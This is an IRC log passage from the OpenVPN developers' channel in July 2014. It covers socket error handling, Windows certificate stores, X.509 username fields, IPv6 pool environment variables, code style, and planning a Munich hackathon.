the client IP address? 06:48 <@cron2_> I'm not sure you actually get that information from the system 07:16 < trispace> cron2_: so this is coming from glibc? (I tried to find that message in the OpenVPN source code, but couldn't find it) 07:29 <@dazo> That error code (code=111) is defined in errno.h, as ECONNREFUSED 07:30 <@dazo> so it's a read() call on the socket against a particular client which fails, yes 07:30 <@dazo> and the read() call returns 111 07:36 <@cron2_> dazo: that much is true, but since we only have a single UDP socket, I'm not sure you can find out in the read() call which outgoing UDP packet caused it 07:37 <@dazo> cron2_: as UDP is stateless ... I doubt it 07:37 <@cron2_> the address might be returned in ancilliary data... (we're not calling read() but recv()) 07:38 <@dazo> right ... but recv() is just a variant of read(), isn't it? receiving into a vector buffer instead of a "string" buffer 07:38 <@cron2_> no :) 07:39 <@cron2_> actually we call recvfrom() 07:39 <@cron2_> recv() is pretty much the same as read(), yes 07:40 <@dazo> ahh, well, recvfrom() does have a pointer to the client struct sockaddr ... so might be possible to extract it from there 07:40 <@dazo> if I remember recvfrom() correctly 07:40 <@cron2_> if it's filled for errors 07:43 <@dazo> "For recvfrom(), the src_addr and addrlen arguments return the address of the remote socket used to send the datagram. (These arguments are analogous to the addr and addrlen arguments of accept(), which return the address of a connecting peer socket.) The src_addr argument is a pointer to an address structure appropriate to the communication domain. As with accept(), addrlen is a value-result argument. Prior to the call, addrlen should 07:43 <@dazo> be initialized to the size of the structure pointed to by src_addr; upon return, it contains the number of bytes actually written to this structure." 07:43 <@dazo> (That's from "The Linux Programming Interface" .... might be different on BSD) 07:43 <@dazo> "If we are not interested in the address of the sender, then we specify both src_addr and addrlen as NULL. In this case, recvfrom() is equivalent to using recv() to receive a datagram" 07:43 <@cron2_> true, but there is no datagram in the error case 07:44 <@dazo> duh 07:44 <@dazo> right! 07:44 <@cron2_> so it might still be there or not :-) 07:44 <@dazo> only gdb will tell ;-) 07:58 < trispace> ok, so I guess I'll try to find that out :) 08:04 <@plaisthos> cron2_: at the moment I still have time on all dates 08:04 <@cron2_> plaisthos: then please put that into the doodle :-) 08:05 <@cron2_> if everybody is available, I tend to go for the October date, as the weather is usually nicer - but I need feedback from dazo, mattock, James 08:05 <@cron2_> dazo: btw: doodle-fill-in, please .-) 08:06 <@cron2_> mattock: and you, please ;-) 08:06 <@mattock> cron2: ok 08:06 <@mattock> retesting windows build 08:06 <@mattock> I have nothing in the pipeline for October 08:06 <@cron2_> mattock: could you contact james and ask whether he wants to come, and which dates would work out? I cc'ed him on my mail, but well, it sometimes works and sometimes not 08:06 <@plaisthos> cron2_: alreadly did 08:07 <@cron2_> there's the mail :-) "plaisthos" hat soeben ihre/seine Informationen in der Umfrage "OpenVPN Hackathon 2014" eingetragen." 08:08 <@plaisthos> hm 4:14h with ICE to Munich 08:08 <@plaisthos> err 4:26h but still 08:08 <@cron2_> this is not so bad 08:10 <@plaisthos> err 08:10 <@plaisthos> especially compare to flying 08:10 <@plaisthos> when calculating the whole time 08:10 <@plaisthos> sure flight is only 1 hour 08:11 <@mattock> cron2: I'll email James, otherwise he'll never notice this Munich hackathon 08:11 <@plaisthos> + 15 min longer to the aiport + waiting 30 min at the aiport + S-Bahn in Munich ... 08:12 <@plaisthos> that also adds up to 3h 08:14 <@plaisthos> and if I book now I only pay 43,50 :) 08:15 <@dazo> which hotel? 08:15 <@mattock> sent mail to James 08:16 <@plaisthos> dazo: for the train 08:16 <@dazo> ahh 08:16 <@plaisthos> (both directions) 08:16 <@plaisthos> flying would cost almost 190 EUR 08:16 <@dazo> Motel One seems fully booked in October 08:17 <@dazo> (the one most of you used last time) 08:17 <@plaisthos> dazo: we still need a date :) 08:17 <@dazo> that was the october one, which cron2 seemed to prefer ;-) 08:18 <@plaisthos> yeah 08:18 <@plaisthos> but other motel ones "somewhere" in munich are still free ;) 08:18 <@dazo> there's at least 4 rooms available Nov 14-16 for €69 per night 08:21 <@plaisthos> Motel One is much expensive from 19.09. - 07.10.2014 08:21 <@plaisthos> I bet that is Oktoberfest 08:21 <@dazo> yupp :) 08:21 <@dazo> And Motel One seems fully booked on October everywhere 08:22 <@dazo> unless the webUI is failing me 08:23 <@plaisthos> for me it says that only city-west and sendlinger tor are booked for 10-12.10.14 08:23 <@dazo> right ... and Deutches Musem and Ost is quite far 08:24 <@dazo> away 08:24 <@plaisthos> yeah 08:24 <@plaisthos> or with other words, the ones nearest ot Octoberfest are already booked for 2 weeks in advance or something like that ;) 08:25 <@dazo> seems so 08:25 <@dazo> unless cron2_ has office locations other places :-P 08:25 < dgollub> in case you need a location in Berlin for a hackathon: https://www.buero20.org/ - I just rented their a office ... but they usually host their all kind of open source user meetups or developer meetings as well 08:25 <@vpnHelper> Title: Büro 2.0 Follow the Chimney! (at www.buero20.org) 08:26 < dgollub> I guess this is also free of charge for opensource projects 08:36 <@dazo> Park Hotel Laim seens to have reasonable prices in october 08:38 <@plaisthos> and they did not understand the concept of Free WiFi 08:38 <@plaisthos> Wireless LAN im öffentlichen Bereich: 8,00 EUR 08:44 <@dazo> true ... but I figured we'd had enough networking when we leaves cron2's office ;-) 08:45 <@cron2_> plaisthos: yes, September is Oktoberfest (don't ask) 08:46 <@cron2_> Oktoberfest actually ends on the first weekend in October... 08:47 <@cron2_> dazo: so what's the "(yes)" for you in October? 08:47 <@dazo> mostly due to that I might be travelling a bit before, and the prices are higher in october than november 08:48 * dazo need to pay for this from his own pocket currently 08:48 <@cron2_> dazo: bah, get RedHat to pay for this - promise you'll wear a red hat and do some PR :-) 08:48 <@cron2_> isn't the kerberos thing a RedHat project? 08:52 <@cron2_> "need to go there otherwise it will be hard to upstream it!" 08:52 <@dazo> it's a "spare time project", yes :) --- Log closed Tue Jul 15 08:54:43 2014 --- Log opened Tue Jul 15 09:44:40 2014 09:44 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 09:44 -!- Irssi: #openvpn-devel: Total of 21 nicks [9 ops, 0 halfops, 2 voices, 10 normal] 09:44 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 09:44 -!- Irssi: Join to #openvpn-devel was synced in 6 secs 09:57 <@cron2_> mattock: this is better 09:57 <@cron2_> socket.c: In function 'socket_recv_queue': 09:57 <@cron2_> socket.c:3135:45: error: 'struct link_socket_addr' has no member named 'local' 09:57 <@mattock> cron2: ok, good 09:58 <@cron2_> and -j1, please :-) error messages from socket.c intermixed with compilation of ssl_openssl.c is a bit confusing 10:18 <@mattock> retrying with -j1 10:35 * cron2_ happy now :) 10:36 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 10:36 -!- mode/#openvpn-devel [+o dazo] by ChanServ 10:36 <@dazo> !? ... somehow I left this channel :/ 10:40 <@cron2_> you're more than just absent-minded today...! :) 10:55 <@dazo> heh probably :) 10:55 * dazo need to run anyway 10:56 -!- dazo is now known as dazo_afk 10:57 -!- trispace [~rf@unaffiliated/trispace] has quit [Quit: trispace] 11:59 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 11:59 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:59 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 256 seconds] 12:11 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 12:11 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 12:12 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 12:49 -!- dgollub [~dgollub@p20030045EE049101CC8CA88FDBA12806.dip0.t-ipconnect.de] has joined #openvpn-devel 14:13 -!- dazo_afk is now known as dazo 14:55 <@syzzer> hmm, train from the Netherlands takes 8 to 10 hours, that's a bit too much 14:56 <@syzzer> so I'll be flying again this year, probably arriving Friday a bit after noon and leaving Sunday a bit after noon 15:32 -!- mattock is now known as mattock_afk 16:04 -!- dgollub [~dgollub@p20030045EE049101CC8CA88FDBA12806.dip0.t-ipconnect.de] has quit [Quit: Leaving.] 16:07 -!- Netsplit *.net <-> *.split quits: @syzzer 16:07 -!- Netsplit over, joins: syzzer 16:07 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 18:55 -!- dazo is now known as dazo_afk --- Day changed Wed Jul 16 2014 01:21 -!- mattock_afk is now known as mattock 02:36 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:46 -!- mattock is now known as mattock_afk 04:20 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Ping timeout: 245 seconds] 04:25 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn-devel 04:28 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 05:16 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 240 seconds] 05:18 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 05:18 -!- mode/#openvpn-devel [+o pekster] by ChanServ 05:31 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn-devel 06:52 -!- trispace [~rf@unaffiliated/trispace] has joined #openvpn-devel 06:57 < trispace> Hi, I run openvpn.exe as user LocalService, and try to access the Windows local machine cert store. However this doesn't work because the Windows by default denies the access to the imported certificate in the local machine cert store (verifiable by checking the ACEs on the certificate) 06:58 < trispace> So i thought to import the certificate into the specific service account store ("OpenVPN Service"). I might be wrong, but from the source code I read that first CERT_SYSTEM_STORE_CURRENT_USER is read, then CERT_SYSTEM_STORE_LOCAL_MACHINE 06:59 < trispace> If I understand Microsofts documentation correctly, I think I would need CERT_SYSTEM_STORE_CURRENT_SERVICE 06:59 < trispace> does somebody has experience with the Windows crypto store? 07:05 < trispace> (my assumption seems to be correct. I imported a certificate in the "OpenVPNService" store and indeed it showed up in the registry hive for CERT_SYSTEM_STORE_CURRENT_SERVICE) 07:08 < trispace> So would it make sense to use the following search order? CERT_SYSTEM_STORE_CURRENT_USER, CERT_SYSTEM_STORE_CURRENT_SERVICE, CERT_SYSTEM_STORE_LOCAL_MACHINE? 07:12 -!- mattock_afk is now known as mattock 08:38 <@vpnHelper> RSS Update - tickets: #430: tap-windows6: creating new TAP interface while an existing is connected causes error loop <https://community.openvpn.net/openvpn/ticket/430> 09:08 <@plaisthos> trispace: it might be easier to use just plain pem certificates instead 09:40 < trispace> plaisthos: i know 09:46 <@plaisthos> other than I have no idea about that, sorry 09:52 < trispace> plaisthos: np 09:58 < trispace> plaisthos: maybe it's not even a good idea to store the certificate in the service cert store, since it seems that by default the user group "user" has read access and can thus read the certificate data, so one gains no advantages over using PEM files as you proposed 10:00 <@plaisthos> if you have pem files :) 10:00 <@plaisthos> perhaps your certificate is stored on a hardware device 10:03 < trispace> plaisthos: yup, I know what you mean :) 10:40 <@cron2_> can one use --x509-username-field to use the *serial* number of the certificate for ccd/ lookup? If yes, how? 10:40 <@cron2_> ("a customer is asking") 10:53 -!- trispace [~rf@unaffiliated/trispace] has quit [Quit: trispace] 10:56 <@plaisthos> cron2_: doesn't the 2.3/2.4 x509 from Heiko do more advanced stuff there 10:56 <@plaisthos> iirc yes 10:57 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds] 10:58 <@plaisthos> but that is x509 and OpenSSL so there could some arcane reason why serial is different from other fields in this case 11:22 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:01 <@syzzer> cron2_: don't think so, serial is not part of the subject string afaik 12:01 <@syzzer> and --x509-username-field only supports stuff from the subject or extended attributes 12:42 -!- dazo_afk is now known as dazo 12:44 <@dazo> cron2_: I don't think so either ... the serial number is not in the certificate subject, which I believe --x509-username-field uses 12:44 <@dazo> oh ... I see syzzer said basically the same 12:55 <@dazo> cron2_: Just checked the code now. No, the serial number seems not to be available. The serial number is extracted using X509_get_serialNumber(cert) (OpenSSL) and the x509-username-field uses some other obscure functions to parse the ASN.1 coded fields of the certificate 12:55 <@dazo> (see man X509_NAME_get_index_by_NID for more info) 16:07 -!- mattock is now known as mattock_afk 17:49 -!- cron2_ [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 240 seconds] 19:07 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 19:07 -!- mode/#openvpn-devel [+o cron2] by ChanServ 19:59 -!- dazo is now known as dazo_afk 20:54 -!- snappy [nipnop@unaffiliated/snappy] has joined #openvpn-devel 21:02 <@pekster> cron2: a little late, but the tls_serial_{n} env-var might work with some clever use, but you'd need a way to feed that dynamically to --client-connect via some shim layer of temporary files or something 21:03 <@pekster> I think the X509-name-remapping feature codepath only looks at the X.509 DN fields, and the serial is a separate field entierly 21:17 < snappy> Has there been any exploration into openvpn supporting some form of mobility/disruption tolerant feature in OpenVPN? I've always wanted a vpn solution similar to how mosh works (minus the predictve terminal stuff). I have vague ideas on how this could be accomplished 21:25 <@pekster> You can kind of get that today with the --persist-* options 21:26 <@pekster> Combine that with --ping-restart values to your taste, or just let the server-side instance time out if you're using static-issued IPs and the client will hang onto the IP (it'll just be broken until the VPN comes back) 21:27 <@pekster> Beyond that, there's been no project I'm aware of to expand that subset of features in the codebase 21:36 <+krzee> there are projects that do it using openvpn as is 21:36 <@pekster> Fixed support for --float would do something for mobility 21:37 <@pekster> (unless that's been fixed on -master while I wasn't paying attention) 21:37 <+krzee> (i didnt know it had problems 21:37 <@pekster> Turns out it hasn't ever worked :P 21:37 <+krzee> lol 21:37 <+krzee> interesting that it took this long to know that hah 21:38 <+krzee> it must be heavily used :D 21:38 <@pekster> It kind of plays into the whole many-to-many feature (wishlist for 2.5.x at this point, I think) in that it would be nice to be able to associate a connection keyed off of details accessible in the transport envelope itself 21:38 <@pekster> But _that_ in turn basically needs a new field in the on-link protocol, so very non-trivial 21:41 <@pekster> Without some identifying field in the envelope, you effectively have to try "every" decryption key that is still active. Not so bad for "5" clients, but possibly very bad for "500" of them, especially without --tls-auth where it may be easy to abuse 23:13 < snappy> hm, not familiar with --float 23:16 < snappy> yeah i think float is a step closer to realising mobility 23:29 < snappy> but yeah, being able to pause/resume a tunnel near instant would be nice (similar to how mosh persists an ssh connection and instantly resumes later) 23:29 < snappy> (and i'd be happy to volunteer to help in such an effort) 23:55 <+krzee> !meetings 23:55 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings --- Day changed Thu Jul 17 2014 00:39 -!- mattock_afk is now known as mattock --- Log closed Thu Jul 17 01:30:21 2014 --- Log opened Thu Jul 17 07:37:56 2014 07:37 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 07:37 -!- Irssi: #openvpn-devel: Total of 21 nicks [9 ops, 0 halfops, 1 voices, 11 normal] 07:37 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:38 -!- Irssi: Join to #openvpn-devel was synced in 4 secs 07:55 -!- trispace [~rf@unaffiliated/trispace] has joined #openvpn-devel 08:16 -!- dgollub [~dgollub@port-83-236-187-42.static.qsc.de] has quit [Remote host closed the connection] 08:17 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 08:34 -!- trispace [~rf@unaffiliated/trispace] has quit [Quit: trispace] 10:02 -!- Netsplit *.net <-> *.split quits: dgollub, @raidz 10:03 -!- Netsplit over, joins: raidz 10:03 -!- mode/#openvpn-devel [+o raidz] by ChanServ 10:07 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 10:22 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 10:24 < SviMik> hi all! I'm trying to make my own gui for ovpn, but can't figure out how to properly shutdown it (OS is WINDOWS) 10:24 < SviMik> in official gui I found call PostThreadMessage(..., WM_OVPN_STOP, 0, 0) but in my case ovpn just ignoring it 10:28 <@plaisthos> SviMik: you should probably use the management interface 10:28 <@plaisthos> see doc/management.txt 10:28 <@plaisthos> and send singal SIGINT to openvpn 10:29 <@plaisthos> other than that look how the official gui starts openvpn 10:29 <@plaisthos> perhaps it does it different from yours 10:29 < SviMik> as I know, the official gui doen't use management interface (correct me if I'm wrong) 10:30 < SviMik> so there must be another way to do it 10:31 < SviMik> using management interface just for sending SIGINT... I hope there is another way :) 10:31 <@plaisthos> SviMik: it does use management interface 10:32 <@plaisthos> just grep for management 10:32 <@plaisthos> but it does use it for sending SIGING %) 10:39 < SviMik> plaisthos management interface wasn't there from the beginning. I downloaded older version, and grep failed ) 10:40 <@plaisthos> SviMik: could be :) 12:04 * krzee envisions a stego protocol one day, so my entire vpn connection looks like cat pictures being sent back and forth :D 12:04 <+krzee> prolly more obfsproxy's job tho :D 12:05 <+krzee> --proto udpcats 12:05 * krzee puts down the blunt 12:24 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds] 12:48 <@ecrist> http://minneapolis.craigslist.org/wsh/gms/4573360985.html 12:48 <@vpnHelper> Title: Garage Sale (things, not the garage) Thursday - Sunday (at minneapolis.craigslist.org) 12:48 <@ecrist> speaking of cats 13:19 <@cron2> mattock: have you heard anything from James? 13:19 <@mattock> cron2: regarding what? 13:19 <@cron2> munich hackathon 13:20 <@cron2> (or anything else that might interest us :-) ) 13:20 <@mattock> no, but I can throw the question to him on our internal chat 13:20 <@mattock> he's there 13:20 <@mattock> and responding :) 13:20 <@cron2> please :) 13:21 <@mattock> he will "try to be there" 13:21 <@mattock> I'll try to squeeze something concrete out of him 13:21 <@mattock> he says all dates are fines 13:21 <@mattock> so let's decide and let him know 13:22 <@cron2> andj filled in his available day, and it looks very much like "Nov 14 - Nov 16" right now - October is bad for dazo and andj, end of nov is bad for dazo, and september is bad for many 13:22 <@mattock> he didn't say he'll attend, but I think he will 13:22 <@cron2> ok, if all dates are good, here's the decision: Nov 14 - Nov 16 :-) 13:22 <@mattock> ok, sounds good 13:23 <@mattock> have to split, I let james know the date 13:23 <@mattock> cron2: "that sounds fine" 13:23 <@cron2> cool 13:25 <@dazo> Just thinking aloud ... would it be possible that one person books hotel for all in the same place ... instead of us all doing that job and maybe end up in different places? 13:26 <@cron2> dazo: i'd be just pragmatic about it - you find a few hotels that you think look reasonable, mail them to the group (just reply to my original mail :) ) and then you agree on something or not 13:27 <@cron2> after that, one could even go for "ok, we have 8 people coming, can you make us a better price?" but I'm not sure how much that would gain - no experience with hotel haggling 13:27 <@dazo> makes sense 13:45 <@cron2> dazo: is there a way to send you e-mail that does not bounce? 13:45 <@cron2> I had dazo@users.sourceforge.net in my cc: list, and that bounces 13:47 * cron2 re-sends... 15:23 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 15:32 -!- mattock is now known as mattock_afk 16:10 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: svimik@mail.ru] 16:15 -!- dazo is now known as dazo_afk 16:24 <@plaisthos> cron2: we might get the breakfast for free 16:24 <@plaisthos> or something like that 16:28 <@syzzer> marked the date in my agenda! 17:20 <@plaisthos> yeah me too 17:20 <@plaisthos> I will call tommorrow and ask them if there are any deal/something if I book 8 rooms 17:52 -!- Netsplit *.net <-> *.split quits: @cron2, ender| 17:53 -!- Netsplit over, joins: @cron2, ender| 17:53 -!- _bt [~bt@mongs.yotm.com] has joined #openvpn-devel 17:54 -!- Netsplit *.net <-> *.split quits: Haigha 17:54 -!- Netsplit over, joins: Haigha 17:54 -!- Netsplit *.net <-> *.split quits: @syzzer, rooth 17:56 -!- Netsplit *.net <-> *.split quits: +krzee, _bt, tamazaki, @dazo_afk, ender|, @mattock_afk, @andj, Haigha, @cron2, snappy, (+4 more, use /NETSPLIT to show all of them) 17:57 -!- Netsplit over, joins: @syzzer, rooth, Haigha, _bt, ender|, @cron2, @raidz, riddle, snappy, @dazo_afk (+2 more) 17:57 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:57 -!- Netsplit over, joins: @vpnHelper, @andj 17:57 -!- ServerMode/#openvpn-devel [+ovoo mattock_afk krzee vpnHelper andj] by hobana.freenode.net 17:57 -!- Netsplit over, joins: tamazaki 17:58 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services] 17:58 -!- riddle_ [riddle@us.yunix.net] has joined #openvpn-devel 17:59 -!- riddle_ is now known as riddle 18:22 < snappy> plaisthos: re --float discussion, openvpn-devel, specificlaly: http://sourceforge.net/p/openvpn/mailman/message/31642769/ 18:22 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 21:30 -!- mattock_afk is now known as mattock --- Day changed Fri Jul 18 2014 00:15 < snappy> please excuse me if this is somewhere obvious, but is there a description of the current incarnation of the openvpn protocol? 00:17 < snappy> ah nevermind, didn't see the security overview on the doc page. 00:28 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 00:28 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 01:31 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:34 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 02:37 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:37 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 02:37 -!- mattock_afk is now known as mattock 03:14 -!- dgollub [~dgollub@p20030045EE0491012D345B2E115B6A9B.dip0.t-ipconnect.de] has joined #openvpn-devel 04:06 -!- dazo_afk is now known as dazo 04:31 <@cron2> btw, the deadline for "is anyone using openvpn with --disable-proxy or --disable-socks? if yes, why?" has run out today, and exactly *no* response. So I'm going to ack+merge plaisthos' patch tonight 04:52 <@syzzer> \o/ 05:37 <@plaisthos> \o/ 05:46 <@plaisthos> just called the Motel One 05:49 <@plaisthos> there seem to no discount for large groups unfortenately 06:56 <@plaisthos> OpenVPN connect allows strange config files: 06:56 <@plaisthos> https://code.google.com/p/ics-openvpn/issues/detail?id=266 06:56 <@vpnHelper> Title: Issue 266 - ics-openvpn - Won .ovpn files - parsing - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 07:07 <@cron2> urgh. James needs to really fix his Joomla stuff 07:12 <@plaisthos> I think I know why OpenVPN 3 can parse this 07:12 <@plaisthos> it just ignores any option it does not know 07:19 <@cron2> plaisthos: yep 07:38 <@plaisthos> Even if you don't know anything you can still have an opinon, on a comment of using my app from playstore: "I would suggest using Fdroid or the devs self compiled copies of Openvpn for android http://plai.de/android/" 07:38 <@plaisthos> as if plai.de/android had different binaries ... 07:39 <@plaisthos> that thread is very funny :) 07:39 <@plaisthos> Yeah this is true.... but yesterday Arne Schwabe send out a new version of OpenVPN (for rooted phones) that apparently fix this problem?!? 07:40 <@plaisthos> I do interesting things appearently 09:30 <@cron2> *g* 10:09 -!- dgollub [~dgollub@p20030045EE0491012D345B2E115B6A9B.dip0.t-ipconnect.de] has quit [Ping timeout: 250 seconds] 11:02 -!- dazo is now known as dazo_afk 11:56 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 13:30 <@cron2> plaisthos wins todays prize for "how do I confuse git" 13:35 <@vpnHelper> RSS Update - gitrepo: Always enable http-proxy and socks-proxy <https://github.com/OpenVPN/openvpn/commit/a4b8f653ee5be9c2292cf92dac09d7aadcc9a487> 13:36 -!- Netsplit *.net <-> *.split quits: Haigha 13:43 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn-devel 14:55 -!- Netsplit *.net <-> *.split quits: +roentgen 14:55 -!- Netsplit over, joins: roentgen 14:55 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 15:15 <@plaisthos> cron2: wha? 15:15 <@plaisthos> cron2: what did I do? 15:20 <@plaisthos> cron2: ah did read the mail 15:20 <@plaisthos> my first patch of remove #ifdef for clinat accidently remove the #ifdef ENABLE_MANAGEMENT 15:20 <@plaisthos> syzzer noticed that 15:21 <@plaisthos> so I fixed 1/4 and made 3/4 obsolete 15:37 <@cron2> ah! I remember you two talking about something, but did not have time to check the details. OK, solved :) 17:44 -!- mattock is now known as mattock_afk --- Day changed Sat Jul 19 2014 02:01 -!- lauri [~lauri@ip18864bed.dynamic.kabel-deutschland.de] has quit [Read error: Connection reset by peer] 02:43 -!- mattock_afk is now known as mattock 05:24 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 05:36 <@plaisthos> W/PackageManager( 516): Can't install because provider name de.blinkt.openvpn.FileProvider (in package de.blinkt.openvpn) is already used by org.greenvpn 05:37 <@plaisthos> wtf is org.greenvpn? 05:45 <@plaisthos> oh great 05:45 <@plaisthos> just another ripoff of my app without sources :/ 08:33 <@mattock> plaisthos: I'll add that to my list, I have three already and was thinking of starting to poke at them in one go 09:12 -!- mattock is now known as mattock_afk 15:01 <@pekster> Some of the code indent is just weird 15:02 <@cron2> plaisthos: fun 15:02 * pekster is matching a style in multi.c where leading indent is N tabs plus M spaces, depending on the length of the leading function call :\ 15:03 <@pekster> It's just strangely inconsistent, heh 15:04 <@cron2> mattock: your ubuntu buildslave is out of disk space 15:09 * pekster is revisiting an old v6 patch that never made it to the ML. For env-vars, any comments on what looks nicer? ifconfig_pool_local_ip could become: ifconfig_ipv6_pool_local_ip, or ifconfig_pool_local_ip6. The first v6 option is more consistent with today's env-vars, but the 2nd form is a bit "neater" looking 15:09 <@pekster> I somewhat favor the first, but could be talked out of it ;) 15:09 <@cron2> since the config option is --ifconfig-ipv6-pool (iirc), the first one would be reasonable 15:10 <@pekster> Works for me. It's more consistent (read: sorts nicer ;) with the var-list too 15:10 <@cron2> all my config options add "-ipv6" to their legacy equivalent (ifconfig/ifconfig-ipv6, etc.) so it would be in line to do it that way for env, too 15:10 <@pekster> Now if only I could get these damn indents to line up nicely :\ 15:10 <@cron2> and yes, thanks for working on that. This is sitting somewhere on my "things to have for full feature equivalence" list :-) 15:10 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Read error: Connection reset by peer] 15:11 <@pekster> Well, I had a patch on my personal fork, but it's now a problem for a side-project I'm working on. Nothing like some motivation to make things get done 15:11 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 15:18 <@cron2> yeah, I can see that :-) - some of my openvpn patches were done really quickly, because $work or $customer needed them... (like the "ssl version information" thing in 2.3.4) 15:19 <@pekster> Yup. I think someone asked about the feature, I hacked something together real quick-like, pushed it to my fork, and there it sat until today 15:19 <@pekster> Merged cleanly against master though. Winning. 15:23 <@pekster> Fun fact I learned when cleaning this up: you can have the server define a /64 netmask, but assign clients something smaller, say a /65 :P 15:24 <@cron2> one can do lots of funny things if there's so many bits to play with :) 15:24 <@pekster> No clue why you'd ever do that, but to be complete (and consistent with how we do v4) I'm including it in the vars. Esoteric features +=1 15:44 <@pekster> Hmm, that one might actually a subtle bug 15:45 <@pekster> If you do eg: --ifconfig-ipv6 2001:db8::/64 --ifconfig-ipv6-pool 2001:db8:0:0:5555::/112 you would expect the client to be given an address on the /64, out of an IP in the /112 pool (perhaps to give other clients statics outside that range.) However, the client gets assigned a /112 :\ 15:47 <@pekster> I'll file a bug on that one since I don't plan to fix that as part of the env-var patch 15:47 <@pekster> Maybe I'll be able to poke at it this month 15:48 <@cron2> you're not supposed to do that, but call --server-ipv6 instead :-) 15:48 <@pekster> heh 15:48 <@cron2> there might be more interesting issues lurking if you use a pool that is not even part of the --ifconfig-ipv6 subnet 15:49 <@pekster> In my above example the client can't even ping the server as it's "off-link" 19:07 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] --- Day changed Sun Jul 20 2014 03:01 -!- mattock_afk is now known as mattock 03:11 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 07:04 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 07:04 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 08:21 -!- mattock is now known as mattock_afk 11:32 <@plaisthos> pekster: if you set emacs to gnu coding sytle you get these weird indents 11:33 <@pekster> Yea, it's just weird. I got vim to mostly do the right thing, but with the "indent is 2 spaces" thing, I end up having to tab until I've gone too-far, back up 1 tab, and insert X (where 1 <= X < 8) spaces :P 11:34 <@pekster> Since I can't have vim "expandtabs" as all possible _leading_ indents are using tabs when possible. Much annoyance when I need to increase/decrease indent level too :\ 11:34 <@pekster> #editorProblems 11:34 <@plaisthos> pekster: http://gcc.gnu.org/wiki/FormattingCodeForGCC 11:34 <@vpnHelper> Title: FormattingCodeForGCC - GCC Wiki (at gcc.gnu.org) 11:35 <@plaisthos> is what I found googling 11:35 <@pekster> Hmm, I'll play with it later 11:35 <@pekster> nice long mess of cinoptions though :P 11:36 <@plaisthos> yeah 11:36 <@plaisthos> it is gnu something 11:36 <@plaisthos> so there is always the GNU madness in it 11:36 <@pekster> Cleaning up my old "dirty version" of the patch, I had to indent some stuff, and I went from something like 1 tab + 6 spaces, to two more, and that meant "fixing" the 6 spaces into a 2nd tab 11:36 <@pekster> :x 11:36 <@pekster> At that point it's almost better to say "no tabs, just indent with leading spaces" and that way it's 100% editor agnostic 11:36 <@pekster> But, "When In Rome" 11:37 * pekster blames RMS 11:41 <@plaisthos> tw. even in emacs I edit openvpn source code with show-whitemode 11:42 <@plaisthos> since the coding style is so weired that not all parts of it conform to it 11:42 <@plaisthos> especially the parts that are not written by James 11:42 <@plaisthos> we might someday reformat the code 11:42 <@plaisthos> shortly before 2.4 might be a good time 11:43 <@pekster> I'm sure there are tools out there to fix things in-bulk (once we get the settings _there_ right ;) and then look over all the slew of changes visually to confirm sanity 11:43 